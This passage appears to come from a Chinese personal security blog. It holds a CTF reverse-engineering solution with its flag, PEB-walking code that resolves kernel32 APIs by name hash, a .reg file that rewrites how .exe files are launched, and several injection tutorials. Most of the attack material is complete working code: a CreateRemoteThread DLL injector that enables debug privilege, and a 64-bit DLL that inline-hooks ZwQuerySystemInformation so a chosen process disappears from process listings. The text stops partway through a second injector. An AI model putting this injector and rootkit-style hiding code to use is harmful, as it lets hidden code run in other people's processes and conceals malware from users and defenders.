151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
#include<stdio.h>
#include<stdlib.h>
#include<math.h>
#include<Windows.h>

const unsigned int r=20;
const unsigned int w=32;
const unsigned int b=16;
const unsigned int c=8;
const unsigned int p=0xb7e15163;
const unsigned int q=0x9e3779b9;
unsigned int moveleft(unsigned int x,unsigned int y);
unsigned int moveright(unsigned int x,unsigned int y);
void keyextend(unsigned int *s,unsigned int *l);
void encryp(unsigned int *A,unsigned int *B,unsigned int *C,unsigned int *D,unsigned int *S);
void decryp(unsigned int *A,unsigned int *B,unsigned int *C,unsigned int *D,unsigned int *S);

unsigned int moveleft(unsigned int x,unsigned int y)
{
unsigned int i,temp;
if(y/32!=0)
y=y%32;
for (i=0; i<y; i++)
{
temp=x&0x80000000;
x=x<<1;
x=x+((temp>>31)&0x00000001);
}
return x;
}

unsigned int moveright(unsigned int x,unsigned int y)
{
unsigned int i,temp;
if(y/32!=0)
y=y%32;
for (i=0; i<y; i++)
{
temp=x&0x00000001;
x=x>>1;
x=(x&0x7fffffff)+(temp<<31);
}
return x;
}

void keyextend(unsigned int *s,unsigned int *l)
{
unsigned int i,j,k,a,b;
s[0]=p;
for (i=1; i<=43; i++)
s[i]=s[i-1]+q;
a=0;
b=0;
i=0;
j=0;
for (k=1; k<=132; k++)
{
s[i]=s[i]+a+b;
s[i]=moveleft(s[i],3);
a=s[i];
l[j]=l[j]+a+b;
l[j]=moveleft(l[j],(a+b));
b=l[j];
i=(i+1)%44;
j=(j+1)%8;
}
}

void encryp(unsigned int *A,unsigned int *B,unsigned int *C,unsigned int *D,unsigned int *S)
{
int i,j,t,u,temp;
*B=*B+S[0];
*D=*D+S[1];
j=(unsigned int)(5); //log(w)/log(2)
for (i=1; i<=r; i++)
{
t=moveleft(((*B)*(2*(*B)+1)),j);
u=moveleft(((*D)*(2*(*D)+1)),j);
temp=moveleft(((*A)^t),u);
*A=temp+S[2*i];
temp=moveleft(((*C)^u), t);
*C=temp+S[2*i+1];
temp=*A;
*A=*B;
*B=*C;
*C=*D;
*D=temp;
}
*A=*A+S[2*r+2];
*C=*C+S[2*r+3];

}

void decryp(unsigned int *A,unsigned int *B,unsigned int *C,unsigned int *D,unsigned int *S)
{
unsigned int i,j,u,t,temp;
j=(unsigned int)(5); //log(w)/log(2)
*C=*C-S[2*r+3];
*A=*A-S[2*r+2];
for (i=r; i>=1; i--)
{
temp=*D;
*D=*C;
*C=*B;
*B=*A;
*A=temp;
u=moveleft(((*D)*(2*(*D)+1)),j);
t=moveleft(((*B)*(2*(*B)+1)),j);
temp=moveright(((*C)-S[2*i+1]),t);
*C=temp^u;
temp=moveright(((*A)-S[2*i]), u);
*A=temp^t;
}
*D=*D-S[1];
*B=*B-S[0];
}

int main()
{

unsigned int A,B,C,D,S[2*r+4],L[c] ={0};
unsigned char plaintxt[17] = {0};
unsigned int keylen = c*4,i,j,temp;
unsigned char key[] = {"52Mi!R_u_MiFans?DO_u_like_me?Tha"};
j = 0;
for(i=0; i<keylen;i++)
{
temp = (unsigned int)key[i];
if(i%4==3)
temp = temp<<24;
else if(i%4==2)
temp = temp<<16;
else if(i%4==1)
temp = temp<<8;
L[j] = L[j] + temp;
if(i%4==3)
j++;
}
keyextend(S,L);
A = 0x7E5705E0,B = 0x154E206D,C = 0x0B66CB9B,D = 0x059C6CAB;
decryp(&A,&B,&C,&D,S);
plaintxt[3]=((A&0xff000000)>>24)&0xff;
plaintxt[2]=((A&0xff0000)>>16)&0xff;
plaintxt[1]=((A&0xff00)>>8)&0xff;
plaintxt[0]=A&0xff;
plaintxt[7]=((B&0xff000000)>>24)&0xff;
plaintxt[6]=((B&0xff0000)>>16)&0xff;
plaintxt[5]=((B&0xff00)>>8)&0xff;
plaintxt[4]=B&0xff;
plaintxt[11]=((C&0xff000000)>>24)&0xff;
plaintxt[10]=((C&0xff0000)>>16)&0xff;
plaintxt[9]=((C&0xff00)>>8)&0xff;
plaintxt[8]=C&0xff;
plaintxt[15]=((D&0xff000000)>>24)&0xff;
plaintxt[14]=((D&0xff0000)>>16)&0xff;
plaintxt[13]=((D&0xff00)>>8)&0xff;
plaintxt[12]=D&0xff;
plaintxt[16]='\x00';
printf("%16s",plaintxt);
A = 0x2C3D3B0E,B = 0x8D33D886,C = 0x198A6D51,D = 0x25D22C40;
decryp(&A,&B,&C,&D,S);
plaintxt[3]=((A&0xff000000)>>24)&0xff;
plaintxt[2]=((A&0xff0000)>>16)&0xff;
plaintxt[1]=((A&0xff00)>>8)&0xff;
plaintxt[0]=A&0xff;
plaintxt[7]=((B&0xff000000)>>24)&0xff;
plaintxt[6]=((B&0xff0000)>>16)&0xff;
plaintxt[5]=((B&0xff00)>>8)&0xff;
plaintxt[4]=B&0xff;
plaintxt[11]=((C&0xff000000)>>24)&0xff;
plaintxt[10]=((C&0xff0000)>>16)&0xff;
plaintxt[9]=((C&0xff00)>>8)&0xff;
plaintxt[8]=C&0xff;
plaintxt[15]=((D&0xff000000)>>24)&0xff;
plaintxt[14]=((D&0xff0000)>>16)&0xff;
plaintxt[13]=((D&0xff00)>>8)&0xff;
plaintxt[12]=D&0xff;
plaintxt[16]='\x00';
printf("%16s\n",plaintxt);
system("pause");
return 0;
}
//hctf{p1ay_Wi7h_p7r4Ce_L0L_6f95e}
//52Mi!R_u_MiFans?DO_u_like_me?Tha -> L
/*cipher =
0xE0,0x05,0x57,0x7E
0x6D,0x20,0x4E,0x15
0x9B,0xCB,0x66,0x0B
0xAB,0x6C,0x9C,0x05
0x0E,0x3B,0x3D,0x2C
0x86,0xD8,0x33,0x8D
0x51,0x6D,0x8A,0x19
0x40,0x2C,0xD2,0x25
*/

嗯,就酱!后面的层数没有出来,额,还要继续努力才行QAQ!

获取kernel32基地址

从InMemoryOrderModuleList地址上获取kernel32.dll的基地址,原理如下:

1
2
3
4
5
6
7
xor ebx, ebx 
mov ebx, fs:[ 0x30 ] ;PEB
mov ebx, [ ebx + 0x0C ] ;PEB->Ldr
mov ebx, [ ebx + 0x14 ] ;PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry)
mov ebx, [ ebx ] ;next entry (2nd entry)
mov ebx, [ ebx ] ;entry (3rd entry)
mov ebx, [ ebx + 0x10 ] ;base address (kernel32.dll)

获取kernel32基地址以后,就可以从EAT获取GetProcAddress地址以及其他函数地址,下面程序以获得FindFirstFile地址为例,在EAT中搜索FindFirstFile地址的时候没有采用直接比较字符串名称的方法,而是对字符串名称作运算,根据运算结果来进行比较。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#include<stdio.h>
#include<Windows.h>

#define win10x64 1

#ifdef win10x64
#define kernel32Value 0x6E2BCA17
#elif defined(win7x64)
#define kernel32Value 0x8FECD63F
#endif


typedef HANDLE (*myFindFirstFile)(LPCTSTR lpFileName,LPWIN32_FIND_DATA lpFindFileData);

DWORD findPEB()
{
DWORD pebValue;
__asm
{
mov eax,fs:[0x30]
mov pebValue,eax
}
return pebValue;
}

DWORD calValue1(WORD *a1)
{
DWORD v1,v3;
v3 = 0;
while(*a1)
{
v1 = (WORD)*a1;
++a1;
v3 = v1 + ((v3 << 19) | ((unsigned __int64)v3 >> 13));
}
return v3;
}

DWORD calValue2(BYTE *a1)
{
DWORD v1,v3;
v3 = 0;
while(*a1)
{
v1 = *a1++;
v3 = v1 + ((v3 << 19) | ((unsigned __int64)v3 >> 13));
}
return v3;
}

DWORD findKernel32()
{
DWORD pebValue = findPEB();

DWORD v1 = *(DWORD *)(pebValue + 12);
DWORD *v3 = *(DWORD **)(v1 + 20);
DWORD *v4 = *(DWORD **)(v1 + 20);
do
{
if(calValue1((WORD *)v3[10]) == kernel32Value)
{
return v3[4];
}
v3 = (DWORD *)*v3;
} while (v3 && v3 != v4);
return -1;
}

DWORD findGetProcAddress(DWORD kernel32Addr,DWORD funcValue)
{
DWORD exportTable,addressOfFunctions,addressOfNames,addressOfNameOrdinals,numberOfNames;
exportTable = (*(DWORD *)(*(DWORD *)(kernel32Addr + 60) + kernel32Addr + 120) + kernel32Addr);
addressOfFunctions = *(DWORD *)(exportTable + 0x1c) + kernel32Addr;
addressOfNames = *(DWORD *)(exportTable + 0x20) + kernel32Addr;
addressOfNameOrdinals = *(DWORD *)(exportTable + 0x24) + kernel32Addr;

numberOfNames = *(DWORD *)(exportTable + 0x18);
for(int i=0;i<numberOfNames;i++)
{
if(calValue2((BYTE *)(*(DWORD *)(addressOfNames + 4 * i) + kernel32Addr)) == funcValue)
return *(DWORD *)(addressOfFunctions + 4 * *(WORD *)(addressOfNameOrdinals + 2 * i)) + kernel32Addr;
}
return 0;
}

int main(int argc,char *argv[])
{
DWORD kernel32Addr;
myFindFirstFile findFirstFileAddr;
kernel32Addr = findKernel32();
printf("kernel32Addr:%X\n",kernel32Addr);
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
printf("hKernel32:%X\n",hKernel32);
findFirstFileAddr = (myFindFirstFile)findGetProcAddress(kernel32Addr,0x63D6C065);
printf("findFirstFileAddr:%p\n",findFirstFileAddr);
printf("FindFirstFile:%p\n",GetProcAddress(hKernel32,"FindFirstFileA"));
system("pause");
return 0;
}

改错注册表之后。。。

emmmmmmmm……经过一些骚操作,我改错了注册表,导致exe程序只能右键管理员运行,还是无意中发现的,修复了文件关联,发现没用。

文件关联

写下如下代码,改后缀为reg,双击运行,修改hkey_classes_root\exefile\shell\open\command键值,可以自己尝试修改为其他键值,会有惊喜!

1
2
3
4
5
6
7
8
9
10

REGEDIT4

[hkey_classes_root\.exe]

@="exefile"

[hkey_classes_root\exefile\shell\open\command]

@="%1" %*

真正原因

晚上已经绝望到是否要重装了,突然发现我修改错了键值,修改了hkey_classes_root\evtxfile\Shell\open\command,将键值改回原样,系统恢复正常,百度发现还没有evtxfile键值的相关说明,只是command键值里面相关的eventvwr.exe似乎与windows加载有关系,emmmmmm,有待研究。

总之,电脑总算恢复正常啦!然而,厄运并没有结束。。。早晨,手机莫名被锁。。。怎一个愁字了得!

几种可作为工具使用的常用注入姿势

转眼国庆假期已经过去了两天,又对游戏安全感兴趣的我,就来复习复习注入姿势好了,个人认为作为工具使用还比较方便的注入方法。注入的方式很多书籍都谈到了,诸如《逆向工程核心原理》《Windows核心编程》,网站也有很多,像腾讯的游戏安全实验室就有专门介绍的,网上相关的博客介绍也很多,我也是从这些地方学到的。

消息钩子

这种方式仅适用于GUI程序,而且要确定钩取的消息,还是觉得不太方便。23333,功能是键盘按下,弹窗。现在好多程序都防着钩子了,感觉没什么用。

Message_Hook.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <conio.h>
#include <windows.h>

#define DEF_DLL_NAME "My_Hook_Dll.dll"
#define DEF_HOOKSTART "HookStart"
#define DEF_HOOKSTOP "HookStop"

typedef void (*PFN_HOOKSTART)();
typedef void (*PFN_HOOKSTOP)();

void main()
{
HMODULE hDll = NULL;
PFN_HOOKSTART HookStart = NULL;
PFN_HOOKSTOP HookStop = NULL;
char ch = 0;

hDll = LoadLibraryA(DEF_DLL_NAME);
if( hDll == NULL )
{
printf("LoadLibrary(%s) failed!!! [%d]", DEF_DLL_NAME, GetLastError());
return;
}
HookStart = (PFN_HOOKSTART)GetProcAddress(hDll, DEF_HOOKSTART);
HookStop = (PFN_HOOKSTOP)GetProcAddress(hDll, DEF_HOOKSTOP);

HookStart();

printf("press 'q' to quit!\n");
while( _getch() != 'q' ) ;

HookStop();
FreeLibrary(hDll);
}

dllmain.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"

#define DEF_PROCESS_NAME "notepad.exe"

HINSTANCE g_hInstance = NULL;
HHOOK g_hHook = NULL;
HWND g_hWnd = NULL;

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved)
{
switch( dwReason )
{
case DLL_PROCESS_ATTACH:
g_hInstance = hinstDLL;
break;

case DLL_PROCESS_DETACH:
break;
}

return TRUE;
}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
char szPath[MAX_PATH] = {0,};
char *p = NULL;

if( nCode >= 0 )
{
// bit 31 : 0 => press, 1 => release
if( !(lParam & 0x80000000) )
{
GetModuleFileNameA(NULL, szPath, MAX_PATH);
p = strrchr(szPath, '\\');

if( !_stricmp(p + 1, DEF_PROCESS_NAME) )
MessageBoxA(NULL,"Inject successful!","Congratulations!",MB_OK);
}
}

return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

#ifdef __cplusplus
extern "C" {
#endif
__declspec(dllexport) void HookStart()
{
g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstance, 0);
}

__declspec(dllexport) void HookStop()
{
if( g_hHook )
{
UnhookWindowsHookEx(g_hHook);
g_hHook = NULL;
}
}
#ifdef __cplusplus
}
#endif

远程注入

原理什么的就不讲了,直接上代码,功能也是完成一个弹窗,具体要做什么的时候,修改一下就好了。

dllmain.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include "stdafx.h"

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBoxA(NULL,"Injection Success!","Congratulations!",MB_OK);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

Injection.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
#include<windows.h>
#include<stdio.h>
#include<string.h>

BOOL SetPrivilege(LPCTSTR lpszPrivilege,BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
HANDLE hToken;
LUID luid;

if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))
{
wprintf(L"OpenProcessToken Failed!CODE(%u)\n",GetLastError());
return FALSE;
}
if(!LookupPrivilegeValue(NULL,lpszPrivilege,&luid))
{
wprintf(L"LookupPrivilegeValue Failed!CODE(%u)\n",GetLastError());
return FALSE;
}
tp.PrivilegeCount=1;
tp.Privileges[0].Luid=luid;
if(bEnablePrivilege)
{
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
}
else
{
tp.Privileges[0].Attributes=0;
}
//Enable the privilege开启或关闭权限
if(!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES)NULL,(PDWORD)NULL))
{
wprintf(L"AdjustTokenPrivileges Failed!CODE(%u)\n",GetLastError());
return FALSE;
}
CloseHandle(hToken);
return TRUE;
}

BOOL Remotethread_Injection(int PID,char *pDllName)
{
HANDLE hProcess;
DWORD dwDllNameLen = strlen(pDllName) + 2;
BYTE *pBufaddr = NULL;
HANDLE hRemoteThread = NULL;
PTHREAD_START_ROUTINE pfnRemoteThreadProc = NULL;
__try
{
hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,(DWORD)PID);
if(!hProcess)
{
printf("OpenProcess Error!code(%d)\n",GetLastError());
return FALSE;
}
pBufaddr = (BYTE *)VirtualAllocEx(hProcess,NULL,dwDllNameLen,MEM_COMMIT,PAGE_READWRITE);
if(!pBufaddr)
{
printf("VirtualAllocEx Error!code(%d)\n",GetLastError());
CloseHandle(hProcess);
return FALSE;
}
if(!WriteProcessMemory(hProcess,pBufaddr,pDllName,dwDllNameLen,NULL))
{
printf("WriteProcessMemory Error!code(%d)\n",GetLastError());
VirtualFreeEx(hProcess,(PVOID)pBufaddr,0,MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
pfnRemoteThreadProc = (PTHREAD_START_ROUTINE)GetProcAddress((HMODULE)LoadLibraryA("kernel32.dll"),"LoadLibraryA");
if(!pfnRemoteThreadProc)
{
printf("GetProcAddress Error!code(%d)\n",GetLastError());
VirtualFreeEx(hProcess,(PVOID)pBufaddr,0,MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
hRemoteThread = CreateRemoteThread(hProcess,NULL,0,pfnRemoteThreadProc,(PVOID)pBufaddr,0,NULL);
if(!hRemoteThread)
{
printf("CreateRemoteThreadEx Error!code(%d)\n",GetLastError());
VirtualFreeEx(hProcess,(PVOID)pBufaddr,0,MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
WaitForSingleObject(hRemoteThread,INFINITE);
}
__finally
{
if(hRemoteThread)
{
CloseHandle(hRemoteThread);
}
if(pBufaddr)
{
VirtualFreeEx(hProcess,(PVOID)pBufaddr,0,MEM_RELEASE);
}
if(hProcess)
{
CloseHandle(hProcess);
}
}
return TRUE;
}

int main(int argc,char* argv[])
{
DWORD PID = 0;
if(!argv[1])
{
printf("USAGE: %s <dll_path>\n",argv[0]);
return 0;
}
printf("Please Input process PID(大于100):\n");
scanf("%d",&PID);
if(!SetPrivilege(SE_DEBUG_NAME,TRUE))
{
return 1;
}
if(Remotethread_Injection(PID,argv[1]))
{
printf("Inject Successful!\n");
}
return 0;
}

我常用的就是这两种,其他的注入方式还有DLL劫持,就是大家最熟悉的替换dll名称啦;还有挂起进程注入,先让要运行的程序挂起,再让注入的线程挂起,最后先恢复程序,再恢复线程,代码过程和远程注入基本相似,最大的区别就是挂起标识位要修改;除此以外,还有APC注入,修改输入表等骚操作。23333。emmmmmm,差不多就这些吧。

要好好想想接下来5天要怎么有意义的度过了,23333。

Win7x64-DLL-Remote-Injection-Hide-Process

Win7 64位下隐藏进程代码

OS System:Win7 64位

IDE:VS2015

注意点:1.64位系统地址范围最高是48位,所以在跳转到自己自定义函数,代码需要进行一下改动,使用call或者retn,而不是jmp。 2.注入64位程序需要生成64位dll和程序,注入32位程序需要生成32位dll和程序。

second_Dll.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
#include<stdio.h>
#include<Windows.h>
#include<tchar.h>
#include<TlHelp32.h>
#include"second_Dll.h"

#define MYLIBAPI extern "C" __declspec(dllexport)
#define DEF_NTDLL ("ntdll.dll")
#define DEF_ZWQUERYSYSTEMINFORMATION ("ZwQuerySystemInformation")
#define STR_HIDE_PROCESS_NAME (L"notepad.exe")
#define STATUS_SUCCESS (0x00000000L)
#define PROCHOOK_MOVCODE 0x48
#define PROCHOOK_64BITADDR 0xB8
#define PROCHOOK_JMPCODE 0xFF
#define PROCHOOK_REGCODE 0xE0

#pragma comment(linker, "/SECTION:.SHARE,RWS")
#pragma data_seg(".SHARE")
TCHAR g_szProcName[MAX_PATH] = {0,};//要隐藏的进程名
#pragma data_seg()

typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1[48];
PVOID Reserved2[3];
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;

typedef NTSTATUS (WINAPI *PFZWQUERYSYSTEMINFORMATION)
(SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);

#pragma pack(1)
typedef struct _ProcHook
{
BYTE byMovCode = PROCHOOK_MOVCODE;
BYTE byAddrType = PROCHOOK_64BITADDR;
unsigned __int64 ui64Address;
BYTE byJmpCode = PROCHOOK_JMPCODE;
BYTE byRegisterCode = PROCHOOK_REGCODE;
}PROCHOOK, *PPROCHOOK;
#pragma pack()

typedef struct _HookRec
{
unsigned __int64 ui64AddressFunc;
unsigned __int64 ui64AddressShadowFunc;
PROCHOOK phOld;
PROCHOOK phNew;
}HOOKREC, *PHOOKREC;

HOOKREC hkZwQuerySystemInformation;
BYTE g_pOrgBytes[9] = {0,};
PVOID pFarJmp = NULL;

//函数声明
BOOL hook_by_code(LPCSTR , LPCSTR , PROC , PBYTE , LPVOID , PHOOKREC );
BOOL unhook_by_code(LPCSTR , LPCSTR , PBYTE );
NTSTATUS WINAPI NewZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS , PVOID , ULONG , PULONG );


void SetProcName(LPCTSTR szProcName)
{
wcscpy_s(g_szProcName, szProcName);
}



BOOL hook_by_code(LPCSTR szDllName,LPCSTR szFuncName,PROC pFuncNew,PBYTE pOrgBytes,LPVOID pFarJmp, PHOOKREC hkZwQuerySystemInformation)
{
DWORD dwOldProtect;
ULONGLONG dwAddress;
PBYTE pFuncCover,pIndirectJmp;
BYTE pBuf[6]={0xE9,0,};
FARPROC pFuncOrg;

//获取要钩取的原API的地址
pFuncOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName),szFuncName);
pFuncCover = (PBYTE)pFuncOrg+3;
pIndirectJmp = (PBYTE)pFarJmp;

//第一次跳转处已经处于hook状态
if(pFuncCover[0] == 0xE9)
{
return FALSE;
}
//改变首位5字节
//第一次跳转,相对地址的跳转

VirtualProtect((LPVOID)pFuncCover,5,PAGE_EXECUTE_READWRITE,&dwOldProtect);

//保存API地址的前5个字节
memcpy(pOrgBytes,pFuncCover,5);

//覆盖API地址的前5个字节
dwAddress = (ULONGLONG)pIndirectJmp-(ULONGLONG)pFuncCover-5;
memcpy(&pBuf[1],&dwAddress,4);
memcpy(pFuncCover,pBuf,5);

VirtualProtect((LPVOID)pFuncCover,5,dwOldProtect,&dwOldProtect);

//第二次跳转处已经处于hook状态
if(pIndirectJmp[0] == PROCHOOK_MOVCODE)
{
return TRUE;
}
//改变申请的内存处12个字节
//第二次跳转,绝对地址的跳转
hkZwQuerySystemInformation->ui64AddressFunc = (unsigned __int64)pFuncOrg;
hkZwQuerySystemInformation->ui64AddressShadowFunc = (unsigned __int64)pFuncNew;
hkZwQuerySystemInformation->phNew.ui64Address = (unsigned __int64)pFuncNew;
memcpy((void *)pIndirectJmp,(const void *)&hkZwQuerySystemInformation->phNew,sizeof(PROCHOOK));



return TRUE;
}

BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)
{
DWORD dwOldProtect;
PBYTE pFuncCover;
FARPROC pFuncOrg;

pFuncOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName),szFuncName);
pFuncCover = (PBYTE)pFuncOrg+3;
//不属于hook状态
if(pFuncCover[0] != 0xE9)
{
return FALSE;
}
//unhook
VirtualProtect((LPVOID)pFuncCover,5,PAGE_EXECUTE_READWRITE,&dwOldProtect);
memcpy(pFuncCover,pOrgBytes,5);
VirtualProtect((LPVOID)pFuncCover,5,dwOldProtect,&dwOldProtect);


return TRUE;
}

NTSTATUS WINAPI NewZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength)
{
DWORD dwOldProtect;
PSYSTEM_PROCESS_INFORMATION pCur, pPrev;
NTSTATUS status;
FARPROC pFunc;
unhook_by_code(DEF_NTDLL,DEF_ZWQUERYSYSTEMINFORMATION,g_pOrgBytes);

pFunc = GetProcAddress(GetModuleHandleA(DEF_NTDLL),DEF_ZWQUERYSYSTEMINFORMATION);

status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)(SystemInformationClass,SystemInformation,SystemInformationLength,ReturnLength);
if(status != STATUS_SUCCESS)
{
goto __HOOK_AGAIN;
}
//这里是隐藏进程重点,把要隐藏的进程从链表之中删除
if (SystemInformationClass == SystemProcessInformation)
{
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;

while (TRUE)
{
if (pCur->Reserved2[1] != NULL)
{
if (!_tcsicmp((PWSTR)pCur->Reserved2[1], STR_HIDE_PROCESS_NAME))//STR_HIDE_PROCESS_NAME是隐藏进程名,更改即可隐藏其他进程
{
if (pCur->NextEntryOffset == 0)
pPrev->NextEntryOffset = 0;
else
pPrev->NextEntryOffset += pCur->NextEntryOffset;
}
else
pPrev = pCur;
}

if (pCur->NextEntryOffset == 0)
break;

pCur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pCur + pCur->NextEntryOffset);
}
}

__HOOK_AGAIN:
hook_by_code(DEF_NTDLL,DEF_ZWQUERYSYSTEMINFORMATION,(PROC)NewZwQuerySystemInformation,g_pOrgBytes,pFarJmp,(PHOOKREC)&hkZwQuerySystemInformation);
return status;
}

BOOL APIENTRY DllMain(HMODULE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{
char szCurProc[MAX_PATH] = {0,};
char *p = NULL;
GetModuleFileNameA(NULL,szCurProc,MAX_PATH);
p = strrchr(szCurProc,'\\');
if((p != NULL) && !_stricmp(p+1, "DLL_Injection2.exe"))
{
return TRUE;
}
//如果是自身,则不进行hook

switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
//为第二次跳转申请内存
pFarJmp = VirtualAllocEx(GetCurrentProcess(),NULL,sizeof(PROCHOOK),MEM_COMMIT,PAGE_EXECUTE_READWRITE);
hook_by_code(DEF_NTDLL,DEF_ZWQUERYSYSTEMINFORMATION,(PROC)NewZwQuerySystemInformation,g_pOrgBytes,pFarJmp,(PHOOKREC)&hkZwQuerySystemInformation);
OutputDebugString(L"<second_Dll> Injects succssfully!!!");
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
VirtualFreeEx(GetCurrentProcess(),pFarJmp,0,MEM_RELEASE);
unhook_by_code(DEF_NTDLL,DEF_ZWQUERYSYSTEMINFORMATION,g_pOrgBytes);
break;
}
return TRUE;
}

Dll_Injection.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
#include<Windows.h>
#include<tchar.h>
#include<TlHelp32.h>
#include<string.h>
#include<stdio.h>
#include<strsafe.h>
#include<malloc.h>

#ifdef UNICODE
#define InjectDll InjectDllW
#define EjectDll EjectDllW
#else
#define InjectDll InjectDllA
#define EjectDll EjectDllA
#endif

#define INJECTION_MODE 1
#define EJECTION_MODE 0
typedef void (*PFN_SetProcName)(LPCTSTR szProcName);

BOOL SetPrivilege(LPCTSTR lpszPrivilege,BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
HANDLE hToken;
LUID luid;

if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))
{
